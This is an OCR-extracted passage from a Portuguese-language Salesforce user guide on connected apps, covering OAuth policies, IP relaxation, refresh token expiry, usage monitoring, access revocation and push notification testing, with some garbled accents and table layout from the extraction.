podem tirar proveito de todos os outros recursos de pacotes gerenciados, como listagem no AppExchange, upgrade automatico, scripts
de Apex pés-instalacao, gerenciamento de licengas e suporte aprimorado ao assinante.

@ Nota: S6 se pode embalar um aplicativo conectado em uma organizagao com a Edicao Developer. Aplicativos conectados sé
podem ser adicionados a pacotes gerenciados. Ndo ha suporte para Aplicativos conectados em pacotes nao gerenciados.

Excluindo um Aplicativo conectado

Para excluir um aplicativo conectado, clique no Nome de aplicativo conectado na lista de aplicativos. Clique em Excluir na pagina
de edicao e confirme clicando novamente em Excluir. Embora o aplicativo seja removido da sua lista, ndo é possivel reutilizar o nome
dele.

Se um aplicativo conectado incluido em um pacote for excluido, ele permanecera disponivel até o pacote ser atualizado.

@ Nota: Se o provisionamento de usudrios for configurado para um aplicativo conectado, ndo sera possivel excluir o aplicativo
conectado ou desinstalar um pacote que o contém até um administrador remover os detalhes de configuracéo de provisionamento
de usuérios. Esteja ciente de que desmarcar a caixa de selecdo Ativar provisionamento do usuario napdginade

detalhes do aplicativo conectado ndo remove os detalhes de configuracdo da organizagdo. Para remover os detalhes da configuracéo,
consulte as instrucdes para administradores do Salesforce sobre esse problema.

CONSULTE TAMBEM:
Criando um Aplicativo conectado
Viséo geral de aplicativos conectados

Provisionamento de usuarios para aplicativos conectados


https://success.salesforce.com/issues_view?id=a1p300000008Z2YAAU

Aprimorar o Salesforce com codigo

Guia do usudrio | Integracdo de aplicativos com o

Relaxamento de IP de aplicativo conectado e imposi¢do de IP continuo

Este topico descreve como a opgéo de Configuragdes de sesséo Tmpor intervalos IP
para fazer login em toda solicitac&o afetaas configuracdes de relaxamento
de IP do aplicativo conectado ativado por OAuth.

Se vocé relaxou as restricdes de IP para seu aplicativo conectado ativado por OAuth e sua organizacdo
temaopgao Impor intervalos IP para fazer login em toda solicitagédo
ativada, 0 acesso ao seu aplicativo conectado pode mudar. Essa mudanca de acesso se aplica ao
acesso de cliente, incluindo dispositivos moéveis, para todos os aplicativos conectados ativados por
OAuth. O relaxamento de IP nao se aplica aos aplicativos conectados ativador por SAML.

Tabela 3: Configuracgoes de relaxamento de IP do aplicativo conectado e imposicao de IP
continuo

Relaxacdo
de P

Impor
restricdes
de IP

Relaxar
restricdes
de IP
com um
segundo
fator

Relaxar
restricdes
de IP

Quando a imposicdo de IP
contfinuo esta desativada
(padrao)

Um usudrio que executa esse
aplicativo estd sujeito a restricdes de
IP da organizacdo, como faixas de IP
definidas no perfil do usuario.

Um usudrio que execute esse
aplicativo ignora as restricées de IP da
organizagdo quando uma destas
condi¢des é verdadeira:

e QO aplicativo tem faixas de IP
incluidas na lista aprovada e esta
usando o fluxo de autenticacao do
OAuth no servidor da Web.
Apenas as solicitacdes recebidas
dos IPs na lista aprovada sdo
permitidas.

e QO aplicativo ndo tem lista branca
de faixa de IP, estd usando fluxo
de autenticagdo do servidor da
Web ou OAuth usuério-agente e
0 usuario conclui com sucesso a
confirmacéo de identidade.

Um usudrio que executa esse
aplicativo conectado ndo estd sujeito
a quaisquer restricoes de IP.

Quando a imposicdo de IP continuo
esta ativada

Um usudrio que executa esse aplicativo esta
sujeito a restricdes de IP da organizacdo,
como faixas de IP definidas no perfil do
usuario.

Um usuario que execute esse aplicativo
ignora as restricdes de IP da organizacéo
quando uma destas condi¢des de OAuth na
coluna anterior é verdadeira. No entanto, o
usudrio nao pode acessar o seguinte por
razbes de seguranca:

e Trocar senha
e Adicionarum token baseado em tempo

® Qualquer pagina em um fluxo de login

Um usuario que executa esse aplicativo
conectado ndo esta sujeito a quaisquer
restricoes de IP. No entanto, o usuario nao
pode acessar o sequinte por razdes de
seguranga:

e Trocar senha

e Adicionarum token baseado em tempo

® Qualquer pagina em um fluxo de login
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Aplicativos conectados
podem ser criados em:
Edicbes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados”

Para atualizar todos os campos, com
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

“Personalizar aplicativo”

Para atualizar Perfis, Conjuntos de
permissodes e Atributos de SAML do provedor os dados”
de servicos:

Para desinstalar:
AppExchange”

“Personalizar aplicativo” E “Modificar fodos

“Fazer download de pacotes do

Aplicativos conectados
podem ser criados em:
Edicbes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes

A pégina Detalhes do aplicativo conectado exibe informagdes sobre o aplicativo conectado, incluindo sua versao e escopos. Nela, é
possivel editar e verificar o uso do aplicativo conectado e associar perfis e permissdes ao aplicativo.

e (lique em Editar para alterar a configuracdo do aplicativo na pagina Editar do aplicativo conectado.

e (lique em Fazer download de metadados para obter os URLs de login e 0s pontos finais do SAML do provedor de servicos que
sdo especificos da configuracdo da sua comunidade ou do dominio personalizado. Este botéo aparecera apenas se sua organizacao
estiver habilitada como um Provedor de identidade e apenas com os aplicativos conectados que usam SAML.

e Em vez de fazer download dos metadados, vocé pode acessa-los por meio de um URL no Ponto final de descoberta de metadados.
O provedor de servicos pode usar esse URL para configurar o login Unico para conexdo ao Salesforce.

e (lique em Exibir uso do OAuth para ver o relatério de uso dos aplicativos conectados na sua organizacdo.

e O provisionamento de usudrios para um aplicativo conectado pode ser ativado nessa pagina. Apds a ativacao, use o assistente de
Provisionamento de usuarios para configurar ou atualizar as configuragdes de provisionamento de usuarios. Depois que vocé executa
o assistente de Provisionamento de usuarios, a secao Contas de usuario permite gerenciar individualmente o vinculo entre as contas

de usuario e as respectivas configuragdes de conta no sistema de terceiros.

e (lique em Gerenciar perfis para selecionar os perfis do aplicativo na pagina de Atribuicao do perfil do aplicativo. Selecione os perfis

que terao acesso ao aplicativo (exceto no Group Edition).

@ Importante: Esta opcao nao serd exibida caso a politica OAuth para Usuarios autorizados esteja definida como Todos
os usudrios podem conceder autorizacdo a si mesmo POrque esta opcdo ndo é necessaria quando os

usuarios puderem conceder autorizagao a si mesmo.

¢ (lique em Gerenciar conjuntos de permissoes para selecionar os conjuntos de permissdes dos perfis para esse aplicativo na
pagina de Atribuicdo do perfil do aplicativo. Selecione os conjuntos de permissdes que terdo acesso ao aplicativo.

@ Importante: Esta opgao nao sera exibida caso a politica OAuth para Usudrios autorizados esteja definida como Todos
0s usudrios podem conceder autorizacdo a si mesmo POrque esta opcao nao é necessaria quando os

usuarios puderem conceder autorizagdo a si mesmo.
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e (lique em Novo em Atributos SAML do provedor de servigos para criar novos pares de valor/chave de atributo. Também é possivel
editar ou excluir os atributos existentes.

Somente usuarios com pelo menos um dos perfis ou conjuntos de permissdes selecionados poderdo executar o aplicativo se a opcao
Usudrios aprovados pelo administrador estiver selecionada para ovalor Usuarios autorizados napagina
Editar do aplicativo conectado. Se em vez disso vocé selecionar Todos os usuéarios, 0s perfis e conjuntos de permissdes serdo
ignorados.

CONSULTE TAMBEM:

Provisionamento de usuarios para aplicativos conectados

Gerenciar um aplicativo conectado

PERMISSOES DO USUARIO EDICOES

Para ler: “Personalizar aplicativo” Disponivel em: Salesforce
p iar. atudli lui " i licativo” E Classic e Lightning
ara criar, atualizar ou excluir: ersonalizar aplicativo Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados” Aplicativos conectados

podem ser criados em:
Edicdes Group,
Professional, Enterprise,
Performance, Unlimited e

Para atualizar todos os campos, com “"Personalizar aplicativo”
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de

Servicos: Developer
Aplicativos conectados
Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar todos P )
o ) Y podem ser instalados em:
permissdes e Atributos de SAML do provedor  os dados .
i todas as edicoes
de servicos:
Para desinstalar: “Fazer download de pacotes do

AppExchange”

Para exibir e atualizar propriedades de um aplicativo conectado, em Configuracdo, insira Aplicativos conectados nha caixa
Busca rapida e selecione a op¢do de gerenciamento de aplicativos conectados. Localize o aplicativo e clique em Editar ao lado
dele. Para exibir informacdes, uso e politicas de um aplicativo conectado ou adicionar atributos personalizados, clique no nome do
aplicativo.

@ Nota: As sessdes sdo atualizadas automaticamente em intervalos que variam de 15 minutos a 12 horas, enquanto o usudrio esta
no aplicativo, dependo do Valor do tempo limite de sessdo definido para sua organizacéo, o que muitas vezes ndo é
detectado pelo usuério.

Aplicativos conectados instalados pelo Salesforce

Alguns aplicativos Salesforce sdo implementados como aplicativos conectados e automaticamente instalados na sua organizacdo, como
o Salesforcel ou o Salesforce para Outlook. Por isso, talvez vocé veja mais aplicativos conectados na sua lista de aplicativos instalados
do que o esperado.

Esses aplicativos conectados do Salesforce séo distribuidos em dois pacotes gerenciados: um para aplicativos relacionados ao Salesforce1
e outro para aplicativos ndo relacionados ao Salesforce1. A lista de aplicativos incluidos pode ser alterada a cada verséo. No entanto,
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para simplificar aadministracéo, cada pacote é instalado de forma assincrona na sua organizagao na primeira vez que um usudrio acessa
um desses aplicativos.

Se vocé deseja instalar (ou reinstalar) proativamente o pacote Salesforce1 para aplicativos conectados, pode instald-lo a partir do
AppExchange.

Os pacotes aparecem em Configuracdo na lista Pacotes instalados.
Clique em cada Nome do pacote para ver alista de componentes. Veja a seguir alguns dos componentes do pacote Aplicativos conectados

do Salesforce.

@ Nota: O IDE do Force.com, o Force.com Migration Tool, o Data Loader Bulk e o Data Loader Partner séo aplicativos conectados
"wrapper” que usam a API SOAP para se conectar ao Salesforce, em vez de usar o OAuth, como fazem outros aplicativos conectados.
No entanto, eles usam a estrutura de aplicativos conectados para permitir ou negar o acesso de usuarios aos aplicativos em uma
organizagao.

Veja a sequir alguns dos componentes do pacote Aplicativos Salesforcel e Chatter.

Para gerenciar esses aplicativos conectados instalados, em Configuracéo, insira Aplicativos conectados nacaixa Busca
répida e selecione a op¢do para gerenciar os aplicativos conectados. Vocé veré os aplicativos conectados do Salesforce instalados
automaticamente aparecerem na lista como aplicativos instalados do pacote gerenciado, juntamente com outros aplicativos conectados
instalados.

CONSULTE TAMBEM:

Provisionamento de usuarios para aplicativos conectados

Editar um aplicativo conectado

PERMISSOES DO USUARIO EDICOES

Para ler: “Personalizar aplicativo” Disponivel em: Salesforce
p iar. atudli lui P i licafivo” E Classic e Lightning
ara criar, atualizar ou excluir: ersonalizar aplicativo Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados” Aplicativos conectados

podem ser criados em:
Edicbes Group,

Para atualizar todos os campos, com “Personalizar aplicativo” ] .
exce¢do de Perfis, Conjuntos de permissées Professional, Enterprise,
e Atributos de SAML do provedor de Performance, Unlimited e
servicos: Developer
Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar fodos Ag(ljlzc::vsoesr icr?ggi:;?iizsem
permissdes e Atributos de SAML do provedor os dados” P . '
de servicos: todas as edicdes
Para desinstalar: “Fazer download de pacotes do

AppExchange”

E possivel modificar as configuracoes e as permisses para um aplicativo conectado.

1. Em Configuracao, insira Aplicativos conectados hacaixa Busca rapida e selecione a opcao de gerenciamento de
aplicativos conectados.


https://appexchange.salesforce.com/listingDetail?listingId=a0N3000000B4cUuEAJ
https://appexchange.salesforce.com/listingDetail?listingId=a0N3000000B4cUuEAJ
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Clique em Editar ao lado do nome do aplicativo que deseja modificar. (Para revisar as informacdes sobre um aplicativo na pagina
Detalhes do aplicativo conectado, clique no nome do aplicativo.)

As politicas do OAuth estdo disponiveis para qualquer aplicativo conectado ativado por OAuth.
- Usuarios autorizados determina quem pode executar o aplicativo.

® Todos os usuarios podem se autoautorizar:Padrdo.Qualquer um na organizacao pode conceder
autorizagao a si mesmo no aplicativo. Essa configuracéo significa que cada usuario deverd aprovar o aplicativo na primeira
Vez que O acessar.

® Os usuarios aprovados pelo administrador sdo pré-autorizados:O acesso é limitado aos
usudrios com o perfil ou conjunto de permissdes especificado, mas eles ndo precisam aprovar o aplicativo antes de poder
acesséa-lo. No Group Edition, essa configuracdo impede o acesso de todos os usuarios ao aplicativo. Gerencie perfis para o
aplicativo editando a lista Acesso ao aplicativo conectado de cada perfil (exceto no Group Edition). Gerencie conjuntos de
permissoes do aplicativo editando a lista Aplicativos conectados atribuidos de cada conjunto de permissoes.

Cuidado: Sevocé trocarde Todos os usudrios podem se autoautorizar para Usudrios
aprovados pelo administrador estdo pré-autorizados,qualquer usuario atual do aplicativo
perdera seu acesso, a menos que pertenca a um conjunto de permissées ou perfil especificado para o aplicativo.

@ Nota: Se o perfil ou o conjunto de permissdes do usuario tem a permissao "Usar qualquer cliente de API" ativada, a politica
Os usuarios aprovados pelo administrador sido pré-autorizados pode serignorada. Essa
permissdo do usuario esta disponivel apenas se a permissdo de organizacao "Apenas aplicativos aprovados pelo
administrador" esté ativada. A permisséo de usudrio "Usar qualquer cliente de API" permite que um usuario que ndo foi
aprovado pelo administrador acesse e execute o aplicativo, mesmo que as configuracdes do aplicativo conectado exijam
que o usuario seja aprovado pelo administrador e a permissao de organizacao "Apenas aplicativos aprovados pelo
administrador" esteja ativa. Esse esquema de permissao permite que usuarios especificos, como prestadores de servico
de curto prazo, acessem um aplicativo conectado temporariamente.

- Relaxacdo de IP designaasrestricoesde IP as quais os usudrios do aplicativo conectado estao sujeitos. Os intervalos de
IP funcionam com aplicativos conectados ativados por OAuth, ndo aplicativos conectados ativados por SAML. Um administrador
pode optar por aplicar ou ignorar essas restricoes, escolnendo uma das seguintes opcoes.

* Impor restricdes de IP:Padrdo.Um usudrio que executa esse aplicativo estd sujeito a restricdes de IP da
organizacéo, como faixas de IP definidas no perfil do usuério.

® Reduzir restricées de IP com o segundo fator:Um usudrio que execute esse aplicativo ignora as
restricoes de IP da organizacdo quando alguma destas condicdes é verdadeira:

-~ O aplicativo tem faixas de IP incluidas na lista aprovada e esté usando o fluxo de autenticacao do OAuth no servidor da
Web. Apenas as solicitacdes recebidas dos IPs na lista aprovada séo permitidas.

-~ O aplicativo ndo tem lista de faixa de IP aprovada, esté usando o servidor da Web ou o fluxo de autenticacdo de OAuth
do agente do usudério e o usudrio conclui com sucesso a Confirmacdo de identidade.

e Reduzir restricées de IP:Um usudrio que executa esse aplicativo conectado ndo esta sujeito a quaisquer
restricoes de IP.

@ Notfa: Se aopcao de Configuragoes de sessao Impor intervalos IP para fazer login em toda
solicitacao estiverativada, ela afetard o comportamento de relaxamento de IP. Para obter mais informacdes, consulte
Relaxamento de IP de aplicativo conectado e imposicao de IP continuo na pagina 175.

- Politica do token de atualizacao especifica o perfodo de validade de um token de atualizacdo. Os tokens de
atualizacdo sdo usados pelo aplicativo conectado ativado por OAuth para obter novas sessdes sem exigir que o usuario forneca
suas credenciais. O aplicativo conectado simplesmente troca o token de atualizacdo por uma nova sessao. Usando politicas de
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token de atualizacdo, os administradores controlam por quanto tempo o token de atualizacdo pode ser usado. As op¢des séo
as sequintes.

® O token de atualizacdo é valido até ser revogado.Essaconfiguracdo éocomportamento padréo.
Ela especifica que o token pode ser usado indefinidamente, a menos que seja revogado pelo usuério ou pelo administrador.
Os tokens sdo revogados na pagina de detalhes do usuério, em Aplicativos conectados OAuth ou no relatério Uso de
aplicativos conectados OAuth.

® Expirar o token de atualizacdo imediatamente.Essaconfiguracdo especifica que o token se torna
invélido imediatamente. O usudrio pode utilizar a sesséo atual (token de acesso) ja emitida, mas ndo pode usar o token de
atualizacdo para obter uma nova sessao.

® Expirar token de atualizacdo se ndo for usado por n.Essaconfiguracdoinvalida o token se ele
nao é usado pelo perfodo de tempo especificado. Por exemplo, se o valor do campo estabelece 7 dias e otokende
atualizagdo ndo é trocado por uma nova sessao dentro de sete dias, a proxima tentativa de usar o token falha. O token expirou
e ndo pode mais gerar novas sessoes. Se o token de atualizacdo é usado com éxito antes de 7 dias, 0 monitoramento do
periodo de inatividade é reiniciado e o token se torna valido por mais 7 dias.

* Expirar token de atualizacdo depois de n.Essaconfiguracao invalida o token de atualizagdo depois
de um periodo de tempo fixo. Por exemplo, se a politica estabelece 1 dia, o token de atualizacdo pode ser usado para
obter novas sessdes por 24 horas. Depois de 24 horas, o token ndo pode ser usado.

Uma sessao de usudario pode ser mantida por uso. Seu periodo de validade é definido pelo Valor de tempo limite para o aplicativo
conectado, perfil de usudrio ou configuracdes de sessdo da organizacdo (nessa ordem). A Politica da token de
atualizacéo sO é avaliada durante o uso do token de atualizacdo emitido e ndo afeta a sesséo atual do usuério. Os tokens
de atualizagdo s6 sao necessarios quando a sessdo do usuario expirou ou ndo esta mais disponivel. Por exemplo, se vocé configurar
uma Politica de token de atualizacgédo para Expirar token de atualizacdo apds 1 hora
e 0 usuario usar o aplicativo por duas horas, ele ndo seré forcado a se autenticar depois de uma hora. O usudrio tera que se
reautenticar apenas quando a sessao expirar o e cliente tentar trocar seus tokens de atualizagdo para uma nova sessao.

— O valor de tempo limite esta disponivel apenas para aplicativos conectados ativados por OAuth. Esse valor define a expiracdo
dos tokens de acesso para a sesséo do aplicativo conectado. Se vocé ndo definir um valor ou Nenhum (o padrdo) for selecionado,
o Salesforce utilizard o Valor de tempo limite do perfil do usuério. Se o perfil ndo tiver nenhum valor definido, o Salesforce usaréa
o Valor de tempo limite das Configuragdes de sessdo da organizagéo.

—  As permissdes atuais do aplicativo conectado também séo listadas aqui.
Se seu aplicativo conectado for um aplicativo de tela que usa autenticagdo de solicitacdo assinada, certifique-se de:

— Definir Usudrios autorizados para Usudrios aprovados pelo administrador estéao
pré-autorizados.
— Defina Expirar os tokens de atualizacdo como Na primeira vez em que usarem esse

aplicativo.

-~ Forneca acesso por meio de conjuntos de permissao e perfis a0s usuarios.

e Politica de nivel de sessdo esta disponivel para todos os aplicativos conectados. Selecione Sessdo de alta garantia
exigida paraobrigaros usudrios ainserir uma chave de seguranca com base no tempo durante o login para acessar o aplicativo.

e Informacdes basicas estao disponiveis para todos os aplicativos conectados. Porém, se o seu aplicativo for um aplicativo de tela,
esses valores de campo ndo serdo usados. Em vez disso, o URL do aplicativo de tela especificado quando o aplicativo conectado foi
criado é usado.

— URL inicial éusado se o aplicativo conectado usa login Unico. Nesse caso, defina o URL da pagina onde o usuario inicia
0 processo de autenticacéo. Essa localizacdo também aparecerad no menu do alternador de aplicativo.

- URL do inicio mével éusada paradirecionar os usuérios a um local especifico quando o aplicativo é acessado a partir
de um dispositivo mével.
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e As configuracdes de aplicativo mével estdo disponiveis para aplicativos conectados méveis que impdem a protecéo por PIN.

- Exigir PIN depois especifica quanto tempo pode passar com o aplicativo inativo antes de o aplicativo bloquear a si
mesmo e exigir o PIN antes de continuar. Os valores permitidos sao nenhum (sem bloqueio), 1, 5, 10 e 30 minutos. Essa politica
s éimpostaseum Comprimento de PIN correspondente for configurado. Aimposicao da politica é de responsabilidade
do aplicativo conectado. Aplicativos escritos usando o SDK do Salesforce Mobile podem impor essa politica, ou o aplicativo pode

ler a politica no servico Userlnfo e aplicé-la.

@ Nota: Essa configuracao ndo invalida uma sessdo de usudrio. Quando uma sessao expira por inatividade, essa politica

requer apenas que o usuario insira um PIN para continuar usando a sessao atual.

- Tamanho do Pin define o comprimento do nimero de identificagdo enviado para uma confirmacédo de autenticacdo. O

comprimento pode ser de 4 a 8 digitos.

e Qs atributos personalizados estao disponiveis para todos os aplicativos conectados. Os desenvolvedores podem definir metadados
de SAML personalizado ou atributos de OAuth personalizados para o aplicativo conectado. Os administradores podem excluir ou
editar esses atributos ou adicionar atributos personalizados. Os atributos excluidos, editados ou adicionados por administradores
substituem os atributos definidos pelos desenvolvedores. Para obter mais informagdes, consulte Editar, empacotar ou excluir um

aplicativo conectado na péagina 172.

Manipulador do Connected App personalizado

Personalize o comportamento de um aplicativo conectado com o Apex. Crie uma classe que estenda a classe ConnectedAppPlugin
do Apex e associe-a a um aplicativo conectado. A classe pode oferecer suporte a novos protocolos de autenticacdo ou responder a

atributos de usudrio de modo a beneficiar um processo de negdcio.

O plug-in é executado em nome de uma conta de usuario. No campo Executar como, selecione o usuario para o plug-in. Se o
usudrio ndo estiver autorizado para o aplicativo conectado, use 0 método authorize para fazerisso. Para obter mais informacoes,

consulte a classe ConnectedAppPlugin no Force.com Apex Code Developer's Guide.

CONSULTE TAMBEM:
Editar um aplicativo conectado

Provisionamento de usuarios para aplicativos conectados

Monitoramento de uso de um Aplicativo conectado

PERMISSOES DO USUARIO

Para ler: “Personalizar aplicativo”

Para criar, atualizar ou excluir: “Personalizar aplicativo” E

“Modificar todos os dados” OU “Gerenciar
aplicativos conectados”
Para atualizar todos os campos, com “Personalizar aplicativo”
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar fodos
permissoes e Atributos de SAML do provedor os dados”
de servicos:

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Aplicativos conectados
podem ser criados em:
Edicdes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes


https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_namespace_Auth.htm

Aprimorar o Salesforce com codigo Guia do usudrio | Integracdo de aplicativos com o

Salesforce | 182

Para desinstalar: “Fazer download de pacotes do AppExchange”

Para exibir informacgées sobre o uso de aplicativos conectados na organizacao, em Configuragéo, insira Uso do Connected Apps
OAuth nacaixa Busca rapida e selecione Uso do Connected Apps OAuth. Aparece uma lista de aplicativos conectados e

informacées sobre cada um deles.

Aplicativo conectado

O nome do aplicativo. Os aplicativos conectados que foram instalados, mas que nao foram utilizados por ninguém, ndo aparecem

na lista.

Exibir informacgdes do aplicativo

Clique em Exibir informacoes do aplicativo para acessar a pagina de detalhes do aplicativo conectado. Como opcao, se o aplicativo

conectado ainda nao estiver instalado, clique em Instalar.

Contagem de usudarios

O numero de usuérios que executaram o aplicativo. Clique em um valor de Contagem de usudrios para ver informaces sobre cada

usudrio, incluindo:
e Quando eles usaram o aplicativo pela primeira vez
e Alltima vez que usou o aplicativo

e O numero de vezes que usou o aplicativo

Na pagina Uso do usuario de aplicativo conectado, vocé pode encerrar 0 acesso de um usuario a sessao atual, clicando na acao
Revogar na fila daguela pessoa. Ou clique no botdo Revogar tudo na parte superior da pagina para efetuar logout de todos os

que estao usando o aplicativo conectado.

Acao

Clique em Bloquear para encerrar todas as sessdes de usuario atuais com o aplicativo conectado e bloguear todas as novas sessoes.
O bloqueio de um aplicativo ndo é permanente. Vocé pode clicar em Desbloquear para permitir que os usuarios efetuem login e

acessem o aplicativo em outro momento.

Gerenciando o acesso OAuth para os aplicativos conectados

Um aplicativo conectado integra um aplicativo ao Salesforce usando APIs. Aplicativos conectados
usam os protocolos padrao SAML e OAuth para autenticar, fornecer login Unico e fornecer tokens
para uso com as APIs do Salesforce. Além dos recursos padrao do OAuth, os aplicativos conectados
permitem que os administradores configurem diferentes politicas de seguranca e tenham controle
explicito sobre quem pode usar os aplicativos correspondentes. Todos os aplicativos conectados
foram integrados ao Salesforce. Dessa forma, eles poderdo acessar um subconjunto de dados do
Salesforce assim que vocé conceder explicitamente cada permisséo de aplicativo.

Todos os aplicativos conectados que tém permissao para acessar os dados do Salesforce séo listados
nas suas informacdes pessoais.

1. Em suas configuracdes pessoais, insira Detalhes avancados do usudrio Nacaixa
Busca réapida e selecione Detalhes avancados do usuario. Nenhum resultado? Insira
Informacdes pessoailsnacaixa Busca rapida eselecione Informagdes pessoais.

2. Na secdo Aplicativos conectados do OAuth, vocé pode:

e Exibirinformacdes sobre cada aplicativo ao qual vocé deu acesso, além do niimero de vezes
e da Ultima vez que o aplicativo tentou acessar suas informagoes.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes
O Salesforce Classic Mobile

ndo esta disponivel em
Database.com

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”
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@ Nota:

— Um aplicativo pode estar listado mais de uma vez. Cada vez que vocé conceder acesso a um aplicativo ele obtém uma
nova chave de acesso. As solicitagbes de tokens de atualizacdo aumentam a Contagem de uso exibida para o
aplicativo. Vocé deve conceder acesso a seus dados do Salesforce de cada dispositivo que utiliza, como um laptop e
um desktop. O limite padréo é de cinco chaves de acesso por aplicativo. Aplicativos mais recentes (usando o protocolo
OAuth 2.0) sdo aprovados automaticamente para dispositivos adicionais depois que é concedido acesso a vocé. Os
aplicativos OAuth 2.0 podem estar listados mais de uma vez. Cada linha na tabela representa uma concessao exclusiva,
entao se um aplicativo solicitar diversas chaves com escopos diferentes, vocé vera o mesmo aplicativo diversas vezes.

- Mesmo se o aplicativo conectado tiver tentado acessar suas informacées e falhar porque néo conseguiu fazer login,
05 campos Contagem de uso e Ultima utilizac&o ainda serdo atualizados.

e (lique em Revogar para revogar o acesso ao aplicativo. Apds a revogacao do aplicativo, ele ndo poderd mais usar esse token
especifico de autorizacdo de acesso para acessar seus dados do Salesforce.

@ Importante: Vocé devera revogar todas as chaves de acesso de um determinado aplicativo para impedi-lo de acessar
seus dados do Salesforce.

Se vocé estiver usando o Salesforce Classic Mobile e quiser usar um novo dispositivo mével, faca download do aplicativo no novo
dispositivo e conecte-se. N&o é necessario revogar a chave no dispositivo antigo; o Salesforce cria automaticamente uma nova.

CONSULTE TAMBEM:
Viséo geral de aplicativos conectados
Criando um Aplicativo conectado

Editar um aplicativo conectado
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Testando as nofificagdes por push

Para executar um teste rapido da sua notificacao por push, use a pagina Enviar notificacao de teste.
A pagina Enviar notificagao de teste permite resolver problemas de notificacao de ida e volta em
um mecanismo sincrono, sem precisar configurar o Apex ou chamadas de REST. Também pode
fornecer insights sobre o que estd acontecendo nos bastidores do ambiente assincrono das
notificacdes por push no mundo real.

Limites das nofificagdes por push

O numero maximo de notificacdes por push permitidas para cada aplicativo mével associado a sua

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Aplicativos conectados
podem ser criados em:
Edicbes Group,

Professional, Enterprise,
Performance, Unlimited e
Developer

organizacéo do Salesforce depende do tipo de aplicativo.

NOmero maximo de notificagdes por push permitidas para Limite
Aplicativos conectados
podem ser instalados em:
todas as edicdes

Aplicativos moveis fornecidos pelo Salesforce (por exemplo, Salesforce1) 50.000 notificacdes por
aplicativo por dia

Aplicativos méveis desenvolvidos por sua organizacdo para uso interno  35.000 notificaces por
pelos funcionarios aplicativo por dia

PERMISSOES DO

USUARIO

Aplicativos moveis instalados a partir do AppExchange 5.000 notificacdes por

aplicativo por dia

Para enviar uma notificacdo
por push a partir da pagina
Testar notificacdes por push:

Somente notificagdes entregdveis sdo contadas para esse limite. Por exemplo, considere o cendrio Y ,,
e "Apex do autor

em gue uma notificacdo é enviada para 1.000 funcionarios da empresa, mas 100 deles ainda nao

instalaram o aplicativo mével. Somente as notificacdes enviadas para os 900 funciondrios que E
instalaram o aplicativo mdvel sdo contadas para esse limite. “Gerenciar aplicativos
conectados”

Cada notificacdo por push de teste que é gerada por meio da pagina Notificacdo por push de teste
é limitada a um Unico destinatério. As notificacdes por push de teste sdo contadas para o limite
didrio de notificacdes por push de um aplicativo.

Sobre a pagina Enviar notificagdo de teste

A pégina Enviar notificacao de teste usa informagdes da configuracdo do Apple Push Notification Service (APNS) ou do Google Cloud
Messaging para Android (GCM) para configurar um mecanismo de push sincrono. Vocé seleciona um dispositivo para receber a notificacdo
por push inserindo uma string de token de conexdo. Se vocé nédo sabe qual € a string de token, pode usar a ferramenta Pesquisar para
selecionar a partir da lista de dispositivos registrados para o seu aplicativo conectado. A ferramenta Pesquisar exibe automaticamente
0s cinco dispositivos registrados mais recentemente. Vocé também pode inserir o nome de um usudrio para procurar dispositivos
registrados para o usudrio.

No caso de notificacdes por push do Android GCM, é possivel selecionar a opcao Operacéo a seco para testar a configuragdo do GCM.
Essa opcao envia a notificagdo para o servidor do GCM, mas n&o a encaminha para um dispositivo.

Cada tentativa de push retorna uma mensagem de status que indica sucesso ou falha. Consulte Mensagens de erro sobre notificacées
por push para ver explicacdes sobre as mensagens. Para ver informacdes adicionais, consulte:

e developer.apple.com para obter informacées sobre as notificacdes por push do Apple APNS.
e developer.android.com para obter informagdes sobre as notificagdes por push do GCM para Android.
Para acessar a pagina de teste:

1. Em Configuracdo, insira Aplicativos nacaixa Busca rapida e selecione Aplicativos.


https://developer.apple.com/index.html
https://developer.android.com/index.html
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2. (lique no nome do aplicativo conectado.

3. (lique em Enviar notificacdes de teste ao lado de Plataforma de push suportada. Esse link s6 aparece se vocé configurou seu
aplicativo conectado para permitir notificacées por push méveis.

@ Nota: Antes de tentar enviar notificacdes por push de teste, verifique se as configuracdes méveis do seu aplicativo conectado
estao configuradas adequadamente. Consulte Criando um aplicativo conectado.

NESTA SECAO:

Enviar notificagdes por push de teste para o APNS
Para executar um teste rdpido da sua notificacdo por push para o Apple Push Notification Service (APNS), use a pagina Enviar
notificacéo de teste.

Enviar notificacdes por push de teste para 0 GCM para Android
Para executar um teste rdpido da configuracdo da notificacdo por push para o Google Cloud Messaging for Android (GCM), use a
pagina Testar notificacdes por push.

Mensagens de erro de notificacdes por push
Se vocé obtém uma mensagem de erro ao enviar uma notificacdo por push a partir da pagina Enviar notificacdo de teste, verifique
a tabela a sequir para ver sugestdes de como corrigir o erro.

Enviar nofificagdes por push de teste para o APNS

Para executar um teste rapido da sua notificacao por push para o Apple Push Notification Service (APNS), use a pagina Enviar notificacao
de teste.

1. Insira uma string de token de conexao no campo Destinatario ou procure um destinatério clicando em Pesquisar %] e selecione
um dos resultados de pesquisa. Por padrdo, a lista Resultados da pesquisa mostra os cinco dispositivos registrados mais recentemente
no seu aplicativo conectado.

a. Paralocalizar outros dispositivos, insira um nome de usudrio na caixa de texto Pesquisar.

